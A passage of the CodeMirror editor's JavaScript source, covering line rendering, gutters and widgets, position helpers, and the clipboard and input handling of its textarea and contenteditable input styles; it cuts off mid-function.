    cm.display.gutters.style.height = Math.max(total + scrollGap(cm), measure.clientHeight) + "px";
  }

  // Read the actual heights of the rendered lines, and update their
  // stored heights to match.
  function updateHeightsInViewport(cm) {
    var display = cm.display;
    var prevBottom = display.lineDiv.offsetTop;
    for (var i = 0; i < display.view.length; i++) {
      var cur = display.view[i], height;
      if (cur.hidden) continue;
      if (ie && ie_version < 8) {
        var bot = cur.node.offsetTop + cur.node.offsetHeight;
        height = bot - prevBottom;
        prevBottom = bot;
      } else {
        var box = cur.node.getBoundingClientRect();
        height = box.bottom - box.top;
      }
      var diff = cur.line.height - height;
      if (height < 2) height = textHeight(display);
      if (diff > .001 || diff < -.001) {
        updateLineHeight(cur.line, height);
        updateWidgetHeight(cur.line);
        if (cur.rest) for (var j = 0; j < cur.rest.length; j++)
          updateWidgetHeight(cur.rest[j]);
      }
    }
  }

  // Read and store the height of line widgets associated with the
  // given line.
  function updateWidgetHeight(line) {
    if (line.widgets) for (var i = 0; i < line.widgets.length; ++i)
      line.widgets[i].height = line.widgets[i].node.offsetHeight;
  }

  // Do a bulk-read of the DOM positions and sizes needed to draw the
  // view, so that we don't interleave reading and writing to the DOM.
  function getDimensions(cm) {
    var d = cm.display, left = {}, width = {};
    var gutterLeft = d.gutters.clientLeft;
    for (var n = d.gutters.firstChild, i = 0; n; n = n.nextSibling, ++i) {
      left[cm.options.gutters[i]] = n.offsetLeft + n.clientLeft + gutterLeft;
      width[cm.options.gutters[i]] = n.clientWidth;
    }
    return {fixedPos: compensateForHScroll(d),
            gutterTotalWidth: d.gutters.offsetWidth,
            gutterLeft: left,
            gutterWidth: width,
            wrapperWidth: d.wrapper.clientWidth};
  }

  // Sync the actual display DOM structure with display.view, removing
  // nodes for lines that are no longer in view, and creating the ones
  // that are not there yet, and updating the ones that are out of
  // date.
  function patchDisplay(cm, updateNumbersFrom, dims) {
    var display = cm.display, lineNumbers = cm.options.lineNumbers;
    var container = display.lineDiv, cur = container.firstChild;

    function rm(node) {
      var next = node.nextSibling;
      // Works around a throw-scroll bug in OS X Webkit
      if (webkit && mac && cm.display.currentWheelTarget == node)
        node.style.display = "none";
      else
        node.parentNode.removeChild(node);
      return next;
    }

    var view = display.view, lineN = display.viewFrom;
    // Loop over the elements in the view, syncing cur (the DOM nodes
    // in display.lineDiv) with the view as we go.
    for (var i = 0; i < view.length; i++) {
      var lineView = view[i];
      if (lineView.hidden) {
      } else if (!lineView.node || lineView.node.parentNode != container) { // Not drawn yet
        var node = buildLineElement(cm, lineView, lineN, dims);
        container.insertBefore(node, cur);
      } else { // Already drawn
        while (cur != lineView.node) cur = rm(cur);
        var updateNumber = lineNumbers && updateNumbersFrom != null &&
          updateNumbersFrom <= lineN && lineView.lineNumber;
        if (lineView.changes) {
          if (indexOf(lineView.changes, "gutter") > -1) updateNumber = false;
          updateLineForChanges(cm, lineView, lineN, dims);
        }
        if (updateNumber) {
          removeChildren(lineView.lineNumber);
          lineView.lineNumber.appendChild(document.createTextNode(lineNumberFor(cm.options, lineN)));
        }
        cur = lineView.node.nextSibling;
      }
      lineN += lineView.size;
    }
    while (cur) cur = rm(cur);
  }

  // When an aspect of a line changes, a string is added to
  // lineView.changes. This updates the relevant part of the line's
  // DOM structure.
  function updateLineForChanges(cm, lineView, lineN, dims) {
    for (var j = 0; j < lineView.changes.length; j++) {
      var type = lineView.changes[j];
      if (type == "text") updateLineText(cm, lineView);
      else if (type == "gutter") updateLineGutter(cm, lineView, lineN, dims);
      else if (type == "class") updateLineClasses(lineView);
      else if (type == "widget") updateLineWidgets(cm, lineView, dims);
    }
    lineView.changes = null;
  }

  // Lines with gutter elements, widgets or a background class need to
  // be wrapped, and have the extra elements added to the wrapper div
  function ensureLineWrapped(lineView) {
    if (lineView.node == lineView.text) {
      lineView.node = elt("div", null, null, "position: relative");
      if (lineView.text.parentNode)
        lineView.text.parentNode.replaceChild(lineView.node, lineView.text);
      lineView.node.appendChild(lineView.text);
      if (ie && ie_version < 8) lineView.node.style.zIndex = 2;
    }
    return lineView.node;
  }

  function updateLineBackground(lineView) {
    var cls = lineView.bgClass ? lineView.bgClass + " " + (lineView.line.bgClass || "") : lineView.line.bgClass;
    if (cls) cls += " CodeMirror-linebackground";
    if (lineView.background) {
      if (cls) lineView.background.className = cls;
      else { lineView.background.parentNode.removeChild(lineView.background); lineView.background = null; }
    } else if (cls) {
      var wrap = ensureLineWrapped(lineView);
      lineView.background = wrap.insertBefore(elt("div", null, cls), wrap.firstChild);
    }
  }

  // Wrapper around buildLineContent which will reuse the structure
  // in display.externalMeasured when possible.
  function getLineContent(cm, lineView) {
    var ext = cm.display.externalMeasured;
    if (ext && ext.line == lineView.line) {
      cm.display.externalMeasured = null;
      lineView.measure = ext.measure;
      return ext.built;
    }
    return buildLineContent(cm, lineView);
  }

  // Redraw the line's text. Interacts with the background and text
  // classes because the mode may output tokens that influence these
  // classes.
  function updateLineText(cm, lineView) {
    var cls = lineView.text.className;
    var built = getLineContent(cm, lineView);
    if (lineView.text == lineView.node) lineView.node = built.pre;
    lineView.text.parentNode.replaceChild(built.pre, lineView.text);
    lineView.text = built.pre;
    if (built.bgClass != lineView.bgClass || built.textClass != lineView.textClass) {
      lineView.bgClass = built.bgClass;
      lineView.textClass = built.textClass;
      updateLineClasses(lineView);
    } else if (cls) {
      lineView.text.className = cls;
    }
  }

  function updateLineClasses(lineView) {
    updateLineBackground(lineView);
    if (lineView.line.wrapClass)
      ensureLineWrapped(lineView).className = lineView.line.wrapClass;
    else if (lineView.node != lineView.text)
      lineView.node.className = "";
    var textClass = lineView.textClass ? lineView.textClass + " " + (lineView.line.textClass || "") : lineView.line.textClass;
    lineView.text.className = textClass || "";
  }

  function updateLineGutter(cm, lineView, lineN, dims) {
    if (lineView.gutter) {
      lineView.node.removeChild(lineView.gutter);
      lineView.gutter = null;
    }
    if (lineView.gutterBackground) {
      lineView.node.removeChild(lineView.gutterBackground);
      lineView.gutterBackground = null;
    }
    if (lineView.line.gutterClass) {
      var wrap = ensureLineWrapped(lineView);
      lineView.gutterBackground = elt("div", null, "CodeMirror-gutter-background " + lineView.line.gutterClass,
                                      "left: " + (cm.options.fixedGutter ? dims.fixedPos : -dims.gutterTotalWidth) +
                                      "px; width: " + dims.gutterTotalWidth + "px");
      wrap.insertBefore(lineView.gutterBackground, lineView.text);
    }
    var markers = lineView.line.gutterMarkers;
    if (cm.options.lineNumbers || markers) {
      var wrap = ensureLineWrapped(lineView);
      var gutterWrap = lineView.gutter = elt("div", null, "CodeMirror-gutter-wrapper", "left: " +
                                             (cm.options.fixedGutter ? dims.fixedPos : -dims.gutterTotalWidth) + "px");
      cm.display.input.setUneditable(gutterWrap);
      wrap.insertBefore(gutterWrap, lineView.text);
      if (lineView.line.gutterClass)
        gutterWrap.className += " " + lineView.line.gutterClass;
      if (cm.options.lineNumbers && (!markers || !markers["CodeMirror-linenumbers"]))
        lineView.lineNumber = gutterWrap.appendChild(
          elt("div", lineNumberFor(cm.options, lineN),
              "CodeMirror-linenumber CodeMirror-gutter-elt",
              "left: " + dims.gutterLeft["CodeMirror-linenumbers"] + "px; width: "
              + cm.display.lineNumInnerWidth + "px"));
      if (markers) for (var k = 0; k < cm.options.gutters.length; ++k) {
        var id = cm.options.gutters[k], found = markers.hasOwnProperty(id) && markers[id];
        if (found)
          gutterWrap.appendChild(elt("div", [found], "CodeMirror-gutter-elt", "left: " +
                                     dims.gutterLeft[id] + "px; width: " + dims.gutterWidth[id] + "px"));
      }
    }
  }

  function updateLineWidgets(cm, lineView, dims) {
    if (lineView.alignable) lineView.alignable = null;
    for (var node = lineView.node.firstChild, next; node; node = next) {
      var next = node.nextSibling;
      if (node.className == "CodeMirror-linewidget")
        lineView.node.removeChild(node);
    }
    insertLineWidgets(cm, lineView, dims);
  }

  // Build a line's DOM representation from scratch
  function buildLineElement(cm, lineView, lineN, dims) {
    var built = getLineContent(cm, lineView);
    lineView.text = lineView.node = built.pre;
    if (built.bgClass) lineView.bgClass = built.bgClass;
    if (built.textClass) lineView.textClass = built.textClass;

    updateLineClasses(lineView);
    updateLineGutter(cm, lineView, lineN, dims);
    insertLineWidgets(cm, lineView, dims);
    return lineView.node;
  }

  // A lineView may contain multiple logical lines (when merged by
  // collapsed spans). The widgets for all of them need to be drawn.
  function insertLineWidgets(cm, lineView, dims) {
    insertLineWidgetsFor(cm, lineView.line, lineView, dims, true);
    if (lineView.rest) for (var i = 0; i < lineView.rest.length; i++)
      insertLineWidgetsFor(cm, lineView.rest[i], lineView, dims, false);
  }

  function insertLineWidgetsFor(cm, line, lineView, dims, allowAbove) {
    if (!line.widgets) return;
    var wrap = ensureLineWrapped(lineView);
    for (var i = 0, ws = line.widgets; i < ws.length; ++i) {
      var widget = ws[i], node = elt("div", [widget.node], "CodeMirror-linewidget");
      if (!widget.handleMouseEvents) node.setAttribute("cm-ignore-events", "true");
      positionLineWidget(widget, node, lineView, dims);
      cm.display.input.setUneditable(node);
      if (allowAbove && widget.above)
        wrap.insertBefore(node, lineView.gutter || lineView.text);
      else
        wrap.appendChild(node);
      signalLater(widget, "redraw");
    }
  }

  function positionLineWidget(widget, node, lineView, dims) {
    if (widget.noHScroll) {
      (lineView.alignable || (lineView.alignable = [])).push(node);
      var width = dims.wrapperWidth;
      node.style.left = dims.fixedPos + "px";
      if (!widget.coverGutter) {
        width -= dims.gutterTotalWidth;
        node.style.paddingLeft = dims.gutterTotalWidth + "px";
      }
      node.style.width = width + "px";
    }
    if (widget.coverGutter) {
      node.style.zIndex = 5;
      node.style.position = "relative";
      if (!widget.noHScroll) node.style.marginLeft = -dims.gutterTotalWidth + "px";
    }
  }

  // POSITION OBJECT

  // A Pos instance represents a position within the text.
  var Pos = CodeMirror.Pos = function(line, ch) {
    if (!(this instanceof Pos)) return new Pos(line, ch);
    this.line = line; this.ch = ch;
  };

  // Compare two positions, return 0 if they are the same, a negative
  // number when a is less, and a positive number otherwise.
  var cmp = CodeMirror.cmpPos = function(a, b) { return a.line - b.line || a.ch - b.ch; };

  function copyPos(x) {return Pos(x.line, x.ch);}
  function maxPos(a, b) { return cmp(a, b) < 0 ? b : a; }
  function minPos(a, b) { return cmp(a, b) < 0 ? a : b; }

  // INPUT HANDLING

  function ensureFocus(cm) {
    if (!cm.state.focused) { cm.display.input.focus(); onFocus(cm); }
  }

  function isReadOnly(cm) {
    return cm.options.readOnly || cm.doc.cantEdit;
  }

  // This will be set to an array of strings when copying, so that,
  // when pasting, we know what kind of selections the copied text
  // was made out of.
  var lastCopied = null;

  function applyTextInput(cm, inserted, deleted, sel, origin) {
    var doc = cm.doc;
    cm.display.shift = false;
    if (!sel) sel = doc.sel;

    var paste = cm.state.pasteIncoming || origin == "paste";
    var textLines = doc.splitLines(inserted), multiPaste = null;
    // When pasing N lines into N selections, insert one line per selection
    if (paste && sel.ranges.length > 1) {
      if (lastCopied && lastCopied.join("\n") == inserted) {
        if (sel.ranges.length % lastCopied.length == 0) {
          multiPaste = [];
          for (var i = 0; i < lastCopied.length; i++)
            multiPaste.push(doc.splitLines(lastCopied[i]));
        }
      } else if (textLines.length == sel.ranges.length) {
        multiPaste = map(textLines, function(l) { return [l]; });
      }
    }

    // Normal behavior is to insert the new text into every selection
    for (var i = sel.ranges.length - 1; i >= 0; i--) {
      var range = sel.ranges[i];
      var from = range.from(), to = range.to();
      if (range.empty()) {
        if (deleted && deleted > 0) // Handle deletion
          from = Pos(from.line, from.ch - deleted);
        else if (cm.state.overwrite && !paste) // Handle overwrite
          to = Pos(to.line, Math.min(getLine(doc, to.line).text.length, to.ch + lst(textLines).length));
      }
      var updateInput = cm.curOp.updateInput;
      var changeEvent = {from: from, to: to, text: multiPaste ? multiPaste[i % multiPaste.length] : textLines,
                         origin: origin || (paste ? "paste" : cm.state.cutIncoming ? "cut" : "+input")};
      makeChange(cm.doc, changeEvent);
      signalLater(cm, "inputRead", cm, changeEvent);
    }
    if (inserted && !paste)
      triggerElectric(cm, inserted);

    ensureCursorVisible(cm);
    cm.curOp.updateInput = updateInput;
    cm.curOp.typing = true;
    cm.state.pasteIncoming = cm.state.cutIncoming = false;
  }

  function handlePaste(e, cm) {
    var pasted = e.clipboardData && e.clipboardData.getData("text/plain");
    if (pasted) {
      e.preventDefault();
      if (!isReadOnly(cm) && !cm.options.disableInput)
        runInOp(cm, function() { applyTextInput(cm, pasted, 0, null, "paste"); });
      return true;
    }
  }

  function triggerElectric(cm, inserted) {
    // When an 'electric' character is inserted, immediately trigger a reindent
    if (!cm.options.electricChars || !cm.options.smartIndent) return;
    var sel = cm.doc.sel;

    for (var i = sel.ranges.length - 1; i >= 0; i--) {
      var range = sel.ranges[i];
      if (range.head.ch > 100 || (i && sel.ranges[i - 1].head.line == range.head.line)) continue;
      var mode = cm.getModeAt(range.head);
      var indented = false;
      if (mode.electricChars) {
        for (var j = 0; j < mode.electricChars.length; j++)
          if (inserted.indexOf(mode.electricChars.charAt(j)) > -1) {
            indented = indentLine(cm, range.head.line, "smart");
            break;
          }
      } else if (mode.electricInput) {
        if (mode.electricInput.test(getLine(cm.doc, range.head.line).text.slice(0, range.head.ch)))
          indented = indentLine(cm, range.head.line, "smart");
      }
      if (indented) signalLater(cm, "electricInput", cm, range.head.line);
    }
  }

  function copyableRanges(cm) {
    var text = [], ranges = [];
    for (var i = 0; i < cm.doc.sel.ranges.length; i++) {
      var line = cm.doc.sel.ranges[i].head.line;
      var lineRange = {anchor: Pos(line, 0), head: Pos(line + 1, 0)};
      ranges.push(lineRange);
      text.push(cm.getRange(lineRange.anchor, lineRange.head));
    }
    return {text: text, ranges: ranges};
  }

  function disableBrowserMagic(field) {
    field.setAttribute("autocorrect", "off");
    field.setAttribute("autocapitalize", "off");
    field.setAttribute("spellcheck", "false");
  }

  // TEXTAREA INPUT STYLE

  function TextareaInput(cm) {
    this.cm = cm;
    // See input.poll and input.reset
    this.prevInput = "";

    // Flag that indicates whether we expect input to appear real soon
    // now (after some event like 'keypress' or 'input') and are
    // polling intensively.
    this.pollingFast = false;
    // Self-resetting timeout for the poller
    this.polling = new Delayed();
    // Tracks when input.reset has punted to just putting a short
    // string into the textarea instead of the full selection.
    this.inaccurateSelection = false;
    // Used to work around IE issue with selection being forgotten when focus moves away from textarea
    this.hasSelection = false;
    this.composing = null;
  };

  function hiddenTextarea() {
    var te = elt("textarea", null, null, "position: absolute; padding: 0; width: 1px; height: 1em; outline: none");
    var div = elt("div", [te], null, "overflow: hidden; position: relative; width: 3px; height: 0px;");
    // The textarea is kept positioned near the cursor to prevent the
    // fact that it'll be scrolled into view on input from scrolling
    // our fake cursor out of view. On webkit, when wrap=off, paste is
    // very slow. So make the area wide instead.
    if (webkit) te.style.width = "1000px";
    else te.setAttribute("wrap", "off");
    // If border: 0; -- iOS fails to open keyboard (issue #1287)
    if (ios) te.style.border = "1px solid black";
    disableBrowserMagic(te);
    return div;
  }

  TextareaInput.prototype = copyObj({
    init: function(display) {
      var input = this, cm = this.cm;

      // Wraps and hides input textarea
      var div = this.wrapper = hiddenTextarea();
      // The semihidden textarea that is focused when the editor is
      // focused, and receives input.
      var te = this.textarea = div.firstChild;
      display.wrapper.insertBefore(div, display.wrapper.firstChild);

      // Needed to hide big blue blinking cursor on Mobile Safari (doesn't seem to work in iOS 8 anymore)
      if (ios) te.style.width = "0px";

      on(te, "input", function() {
        if (ie && ie_version >= 9 && input.hasSelection) input.hasSelection = null;
        input.poll();
      });

      on(te, "paste", function(e) {
        if (handlePaste(e, cm)) return true;

        cm.state.pasteIncoming = true;
        input.fastPoll();
      });

      function prepareCopyCut(e) {
        if (cm.somethingSelected()) {
          lastCopied = cm.getSelections();
          if (input.inaccurateSelection) {
            input.prevInput = "";
            input.inaccurateSelection = false;
            te.value = lastCopied.join("\n");
            selectInput(te);
          }
        } else if (!cm.options.lineWiseCopyCut) {
          return;
        } else {
          var ranges = copyableRanges(cm);
          lastCopied = ranges.text;
          if (e.type == "cut") {
            cm.setSelections(ranges.ranges, null, sel_dontScroll);
          } else {
            input.prevInput = "";
            te.value = ranges.text.join("\n");
            selectInput(te);
          }
        }
        if (e.type == "cut") cm.state.cutIncoming = true;
      }
      on(te, "cut", prepareCopyCut);
      on(te, "copy", prepareCopyCut);

      on(display.scroller, "paste", function(e) {
        if (eventInWidget(display, e)) return;
        cm.state.pasteIncoming = true;
        input.focus();
      });

      // Prevent normal selection in the editor (we handle our own)
      on(display.lineSpace, "selectstart", function(e) {
        if (!eventInWidget(display, e)) e_preventDefault(e);
      });

      on(te, "compositionstart", function() {
        var start = cm.getCursor("from");
        if (input.composing) input.composing.range.clear()
        input.composing = {
          start: start,
          range: cm.markText(start, cm.getCursor("to"), {className: "CodeMirror-composing"})
        };
      });
      on(te, "compositionend", function() {
        if (input.composing) {
          input.poll();
          input.composing.range.clear();
          input.composing = null;
        }
      });
    },

    prepareSelection: function() {
      // Redraw the selection and/or cursor
      var cm = this.cm, display = cm.display, doc = cm.doc;
      var result = prepareSelection(cm);

      // Move the hidden textarea near the cursor to prevent scrolling artifacts
      if (cm.options.moveInputWithCursor) {
        var headPos = cursorCoords(cm, doc.sel.primary().head, "div");
        var wrapOff = display.wrapper.getBoundingClientRect(), lineOff = display.lineDiv.getBoundingClientRect();
        result.teTop = Math.max(0, Math.min(display.wrapper.clientHeight - 10,
                                            headPos.top + lineOff.top - wrapOff.top));
        result.teLeft = Math.max(0, Math.min(display.wrapper.clientWidth - 10,
                                             headPos.left + lineOff.left - wrapOff.left));
      }

      return result;
    },

    showSelection: function(drawn) {
      var cm = this.cm, display = cm.display;
      removeChildrenAndAdd(display.cursorDiv, drawn.cursors);
      removeChildrenAndAdd(display.selectionDiv, drawn.selection);
      if (drawn.teTop != null) {
        this.wrapper.style.top = drawn.teTop + "px";
        this.wrapper.style.left = drawn.teLeft + "px";
      }
    },

    // Reset the input to correspond to the selection (or to be empty,
    // when not typing and nothing is selected)
    reset: function(typing) {
      if (this.contextMenuPending) return;
      var minimal, selected, cm = this.cm, doc = cm.doc;
      if (cm.somethingSelected()) {
        this.prevInput = "";
        var range = doc.sel.primary();
        minimal = hasCopyEvent &&
          (range.to().line - range.from().line > 100 || (selected = cm.getSelection()).length > 1000);
        var content = minimal ? "-" : selected || cm.getSelection();
        this.textarea.value = content;
        if (cm.state.focused) selectInput(this.textarea);
        if (ie && ie_version >= 9) this.hasSelection = content;
      } else if (!typing) {
        this.prevInput = this.textarea.value = "";
        if (ie && ie_version >= 9) this.hasSelection = null;
      }
      this.inaccurateSelection = minimal;
    },

    getField: function() { return this.textarea; },

    supportsTouch: function() { return false; },

    focus: function() {
      if (this.cm.options.readOnly != "nocursor" && (!mobile || activeElt() != this.textarea)) {
        try { this.textarea.focus(); }
        catch (e) {} // IE8 will throw if the textarea is display: none or not in DOM
      }
    },

    blur: function() { this.textarea.blur(); },

    resetPosition: function() {
      this.wrapper.style.top = this.wrapper.style.left = 0;
    },

    receivedFocus: function() { this.slowPoll(); },

    // Poll for input changes, using the normal rate of polling. This
    // runs as long as the editor is focused.
    slowPoll: function() {
      var input = this;
      if (input.pollingFast) return;
      input.polling.set(this.cm.options.pollInterval, function() {
        input.poll();
        if (input.cm.state.focused) input.slowPoll();
      });
    },

    // When an event has just come in that is likely to add or change
    // something in the input textarea, we poll faster, to ensure that
    // the change appears on the screen quickly.
    fastPoll: function() {
      var missed = false, input = this;
      input.pollingFast = true;
      function p() {
        var changed = input.poll();
        if (!changed && !missed) {missed = true; input.polling.set(60, p);}
        else {input.pollingFast = false; input.slowPoll();}
      }
      input.polling.set(20, p);
    },

    // Read input from the textarea, and update the document to match.
    // When something is selected, it is present in the textarea, and
    // selected (unless it is huge, in which case a placeholder is
    // used). When nothing is selected, the cursor sits after previously
    // seen text (can be empty), which is stored in prevInput (we must
    // not reset the textarea when typing, because that breaks IME).
    poll: function() {
      var cm = this.cm, input = this.textarea, prevInput = this.prevInput;
      // Since this is called a *lot*, try to bail out as cheaply as
      // possible when it is clear that nothing happened. hasSelection
      // will be the case when there is a lot of text in the textarea,
      // in which case reading its value would be expensive.
      if (this.contextMenuPending || !cm.state.focused ||
          (hasSelection(input) && !prevInput && !this.composing) ||
          isReadOnly(cm) || cm.options.disableInput || cm.state.keySeq)
        return false;

      var text = input.value;
      // If nothing changed, bail.
      if (text == prevInput && !cm.somethingSelected()) return false;
      // Work around nonsensical selection resetting in IE9/10, and
      // inexplicable appearance of private area unicode characters on
      // some key combos in Mac (#2689).
      if (ie && ie_version >= 9 && this.hasSelection === text ||
          mac && /[\uf700-\uf7ff]/.test(text)) {
        cm.display.input.reset();
        return false;
      }

      if (cm.doc.sel == cm.display.selForContextMenu) {
        var first = text.charCodeAt(0);
        if (first == 0x200b && !prevInput) prevInput = "\u200b";
        if (first == 0x21da) { this.reset(); return this.cm.execCommand("undo"); }
      }
      // Find the part of the input that is actually new
      var same = 0, l = Math.min(prevInput.length, text.length);
      while (same < l && prevInput.charCodeAt(same) == text.charCodeAt(same)) ++same;

      var self = this;
      runInOp(cm, function() {
        applyTextInput(cm, text.slice(same), prevInput.length - same,
                       null, self.composing ? "*compose" : null);

        // Don't leave long text in the textarea, since it makes further polling slow
        if (text.length > 1000 || text.indexOf("\n") > -1) input.value = self.prevInput = "";
        else self.prevInput = text;

        if (self.composing) {
          self.composing.range.clear();
          self.composing.range = cm.markText(self.composing.start, cm.getCursor("to"),
                                             {className: "CodeMirror-composing"});
        }
      });
      return true;
    },

    ensurePolled: function() {
      if (this.pollingFast && this.poll()) this.pollingFast = false;
    },

    onKeyPress: function() {
      if (ie && ie_version >= 9) this.hasSelection = null;
      this.fastPoll();
    },

    onContextMenu: function(e) {
      var input = this, cm = input.cm, display = cm.display, te = input.textarea;
      var pos = posFromMouse(cm, e), scrollPos = display.scroller.scrollTop;
      if (!pos || presto) return; // Opera is difficult.

      // Reset the current text selection only if the click is done outside of the selection
      // and 'resetSelectionOnContextMenu' option is true.
      var reset = cm.options.resetSelectionOnContextMenu;
      if (reset && cm.doc.sel.contains(pos) == -1)
        operation(cm, setSelection)(cm.doc, simpleSelection(pos), sel_dontScroll);

      var oldCSS = te.style.cssText;
      input.wrapper.style.position = "absolute";
      te.style.cssText = "position: fixed; width: 30px; height: 30px; top: " + (e.clientY - 5) +
        "px; left: " + (e.clientX - 5) + "px; z-index: 1000; background: " +
        (ie ? "rgba(255, 255, 255, .05)" : "transparent") +
        "; outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);";
      if (webkit) var oldScrollY = window.scrollY; // Work around Chrome issue (#2712)
      display.input.focus();
      if (webkit) window.scrollTo(null, oldScrollY);
      display.input.reset();
      // Adds "Select all" to context menu in FF
      if (!cm.somethingSelected()) te.value = input.prevInput = " ";
      input.contextMenuPending = true;
      display.selForContextMenu = cm.doc.sel;
      clearTimeout(display.detectingSelectAll);

      // Select-all will be greyed out if there's nothing to select, so
      // this adds a zero-width space so that we can later check whether
      // it got selected.
      function prepareSelectAllHack() {
        if (te.selectionStart != null) {
          var selected = cm.somethingSelected();
          var extval = "\u200b" + (selected ? te.value : "");
          te.value = "\u21da"; // Used to catch context-menu undo
          te.value = extval;
          input.prevInput = selected ? "" : "\u200b";
          te.selectionStart = 1; te.selectionEnd = extval.length;
          // Re-set this, in case some other handler touched the
          // selection in the meantime.
          display.selForContextMenu = cm.doc.sel;
        }
      }
      function rehide() {
        input.contextMenuPending = false;
        input.wrapper.style.position = "relative";
        te.style.cssText = oldCSS;
        if (ie && ie_version < 9) display.scrollbars.setScrollTop(display.scroller.scrollTop = scrollPos);

        // Try to detect the user choosing select-all
        if (te.selectionStart != null) {
          if (!ie || (ie && ie_version < 9)) prepareSelectAllHack();
          var i = 0, poll = function() {
            if (display.selForContextMenu == cm.doc.sel && te.selectionStart == 0 &&
                te.selectionEnd > 0 && input.prevInput == "\u200b")
              operation(cm, commands.selectAll)(cm);
            else if (i++ < 10) display.detectingSelectAll = setTimeout(poll, 500);
            else display.input.reset();
          };
          display.detectingSelectAll = setTimeout(poll, 200);
        }
      }

      if (ie && ie_version >= 9) prepareSelectAllHack();
      if (captureRightClick) {
        e_stop(e);
        var mouseup = function() {
          off(window, "mouseup", mouseup);
          setTimeout(rehide, 20);
        };
        on(window, "mouseup", mouseup);
      } else {
        setTimeout(rehide, 50);
      }
    },

    readOnlyChanged: function(val) {
      if (!val) this.reset();
    },

    setUneditable: nothing,

    needsContentAttribute: false
  }, TextareaInput.prototype);

  // CONTENTEDITABLE INPUT STYLE

  function ContentEditableInput(cm) {
    this.cm = cm;
    this.lastAnchorNode = this.lastAnchorOffset = this.lastFocusNode = this.lastFocusOffset = null;
    this.polling = new Delayed();
    this.gracePeriod = false;
  }

  ContentEditableInput.prototype = copyObj({
    init: function(display) {
      var input = this, cm = input.cm;
      var div = input.div = display.lineDiv;
      disableBrowserMagic(div);

      on(div, "paste", function(e) { handlePaste(e, cm); })

      on(div, "compositionstart", function(e) {
        var data = e.data;
        input.composing = {sel: cm.doc.sel, data: data, startData: data};
        if (!data) return;
        var prim = cm.doc.sel.primary();
        var line = cm.getLine(prim.head.line);
        var found = line.indexOf(data, Math.max(0, prim.head.ch - data.length));
        if (found > -1 && found <= prim.head.ch)
          input.composing.sel = simpleSelection(Pos(prim.head.line, found),
                                                Pos(prim.head.line, found + data.length));
      });
      on(div, "compositionupdate", function(e) {
        input.composing.data = e.data;
      });
      on(div, "compositionend", function(e) {
        var ours = input.composing;
        if (!ours) return;
        if (e.data != ours.startData && !/\u200b/.test(e.data))
          ours.data = e.data;
        // Need a small delay to prevent other code (input event,
        // selection polling) from doing damage when fired right after
        // compositionend.
        setTimeout(function() {
          if (!ours.handled)
            input.applyComposition(ours);
          if (input.composing == ours)
            input.composing = null;
        }, 50);
      });

      on(div, "touchstart", function() {
        input.forceCompositionEnd();
      });

      on(div, "input", function() {
        if (input.composing) return;
        if (isReadOnly(cm) || !input.pollContent())
          runInOp(input.cm, function() {regChange(cm);});
      });

      function onCopyCut(e) {
        if (cm.somethingSelected()) {
          lastCopied = cm.getSelections();
          if (e.type == "cut") cm.replaceSelection("", null, "cut");
        } else if (!cm.options.lineWiseCopyCut) {
          return;
        } else {
          var ranges = copyableRanges(cm);
          lastCopied = ranges.text;
          if (e.type == "cut") {
            cm.operation(function() {
              cm.setSelections(ranges.ranges, 0, sel_dontScroll);
              cm.replaceSelection("", null, "cut");
            });
          }
        }
        // iOS exposes the clipboard API, but seems to discard content inserted into it
        if (e.clipboardData && !ios) {
          e.preventDefault();
          e.clipboardData.clearData();
          e.clipboardData.setData("text/plain", lastCopied.join("\n"));
        } else {
          // Old-fashioned briefly-focus-a-textarea hack
          var kludge = hiddenTextarea(), te = kludge.firstChild;
          cm.display.lineSpace.insertBefore(kludge, cm.display.lineSpace.firstChild);
          te.value = lastCopied.join("\n");
          var hadFocus = document.activeElement;
          selectInput(te);
          setTimeout(function() {
            cm.display.lineSpace.removeChild(kludge);
            hadFocus.focus();
          }, 50);
        }
      }
      on(div, "copy", onCopyCut);
      on(div, "cut", onCopyCut);
    },

    prepareSelection: function() {
      var result = prepareSelection(this.cm, false);
      result.focus = this.cm.state.focused;
      return result;
    },

    showSelection: function(info) {
      if (!info || !this.cm.display.view.length) return;
      if (info.focus) this.showPrimarySelection();
      this.showMultipleSelections(info);
    },

    showPrimarySelection: function() {
      var sel = window.getSelection(), prim = this.cm.doc.sel.primary();
      var curAnchor = domToPos(this.cm, sel.anchorNode, sel.anchorOffset);
      var curFocus = domToPos(this.cm, sel.focusNode, sel.focusOffset);
      if (curAnchor && !curAnchor.bad && curFocus && !curFocus.bad &&
          cmp(minPos(curAnchor, curFocus), prim.from()) == 0 &&
          cmp(maxPos(curAnchor, curFocus), prim.to()) == 0)
        return;

      var start = posToDOM(this.cm, prim.from());
      var end = posToDOM(this.cm, prim.to());
      if (!start && !end) return;

      var view = this.cm.display.view;
      var old = sel.rangeCount && sel.getRangeAt(0);
      if (!start) {
        start = {node: view[0].measure.map[2], offset: 0};
      } else if (!end) { // FIXME dangerously hacky
        var measure = view[view.length - 1].measure;
        var map = measure.maps ? measure.maps[measure.maps.length - 1] : measure.map;
        end = {node: map[map.length - 1], offset: map[map.length - 2] - map[map.length - 3]};
      }

      try { var rng = range(start.node, start.offset, end.offset, end.node); }
      catch(e) {} // Our model of the DOM might be outdated, in which case the range we try to set can be impossible
      if (rng) {
        sel.removeAllRanges();
        sel.addRange(rng);
        if (old && sel.anchorNode == null) sel.addRange(old);
        else if (gecko) this.startGracePeriod();
      }
      this.rememberSelection();
    },

    startGracePeriod: function() {
      var input = this;
      clearTimeout(this.gracePeriod);
      this.gracePeriod = setTimeout(function() {
        input.gracePeriod = false;
        if (input.selectionChanged())
          input.cm.operation(function() { input.cm.curOp.selectionChanged = true; });
      }, 20);
    },

    showMultipleSelections: function(info) {
      removeChildrenAndAdd(this.cm.display.cursorDiv, info.cursors);
      removeChildrenAndAdd(this.cm.display.selectionDiv, info.selection);
    },

    rememberSelection: function() {
      var sel = window.getSelection();
      this.lastAnchorNode = sel.anchorNode; this.lastAnchorOffset = sel.anchorOffset;
      this.lastFocusNode = sel.focusNode; this.lastFocusOffset = sel.focusOffset;
    },

    selectionInEditor: function() {
      var sel = window.getSelection();
      if (!sel.rangeCount) return false;
      var node = sel.getRangeAt(0).commonAncestorContainer;
      return contains(this.div, node);
    },

    focus: function() {
      if (this.cm.options.readOnly != "nocursor") this.div.focus();
    },
    blur: function() { this.div.blur(); },
    getField: function() { return this.div; },

    supportsTouch: function() { return true; },

    receivedFocus: function() {
      var input = this;
      if (this.selectionInEditor())
        this.pollSelection();
      else
        runInOp(this.cm, function() { input.cm.curOp.selectionChanged = true; });

      function poll() {
